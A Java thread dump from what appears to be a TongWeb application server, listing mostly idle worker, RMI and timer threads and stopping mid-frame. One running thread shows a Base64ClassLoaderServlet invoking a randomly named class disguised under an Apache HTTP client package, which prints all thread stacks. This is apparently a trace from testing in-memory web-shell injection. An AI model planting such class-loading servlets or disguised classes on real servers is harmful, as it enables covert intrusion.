com.tongweb.monitor.persistence.TaskQueue@70bcbae5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:460) + at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408) + +"http-nio-8080-exec-4" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-4" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-7" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-6" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-172.17.0.4" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$12/1401549639.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-9" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"snapshot" #121 daemon [TIMED_WAITING] on java.util.TaskQueue@2c50d974 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-8080-exec-8" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-AsyncTimeout" #113 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout.run(JIoEndpoint.java:148) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-5" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-10" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-2" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JMX server connection timeout 122" #122 daemon [TIMED_WAITING] on [I@2643a26c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.sun.jmx.remote.internal.ServerCommunicatorAdmin$Timeout.run(ServerCommunicatorAdmin.java:168) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[TWNT]]" #49 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1508) + at java.lang.Thread.run(Thread.java:750) + +"Timer-0" #114 daemon [TIMED_WAITING] on java.util.TaskQueue@502bb9d7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-5100-exec-10" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-9" #84 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.http.client.jjCxH.ErrorIlpkbHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.tongweb.web.thor.connector.CoyoteWriter.print(CoyoteWriter.java:248) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) + at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) + at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) + at com.tongweb.web.thor.core.ThorStandardWrapperValve.invoke(ThorStandardWrapperValve.java:202) + at com.tongweb.web.thor.core.StandardContextValve.invoke(StandardContextValve.java:123) + at com.tongweb.twnt.thor.OpenEJBValve.invoke(OpenEJBValve.java:46) + at com.tongweb.web.thor.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472) + at com.tongweb.web.thor.core.ThorStandardHostValve.invoke(ThorStandardHostValve.java:69) + at com.tongweb.web.thor.valves.AccessLogValve.invoke(AccessLogValve.java:929) + at com.tongweb.web.thor.valves.ErrorReportValve.invoke(ErrorReportValve.java:99) + at com.tongweb.web.thor.core.StandardEngineValve.invoke(StandardEngineValve.java:118) + at com.tongweb.web.thor.connector.CoyoteAdapter.service(CoyoteAdapter.java:408) + at com.tongweb.web.oro.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1002) + at com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:585) + at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1657) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-5" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-1" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"get-gc-info-timer" #19 daemon [TIMED_WAITING] on java.util.TaskQueue@45d55aa5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-8080-exec-1" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"persistence" #119 daemon [TIMED_WAITING] on java.util.TaskQueue@6f64b012 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-8080-exec-7" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-2" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-1" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) + +"RMI TCP Accept-7200" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #16 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@548f2f50 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@59e7d117 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"http-nio-8443-exec-5" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-Acceptor-0" #75 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:791) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-9" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-9060-exec-10" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"Stateful cache" #44 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3608a8fc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-ClientPoller-0" #99 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at 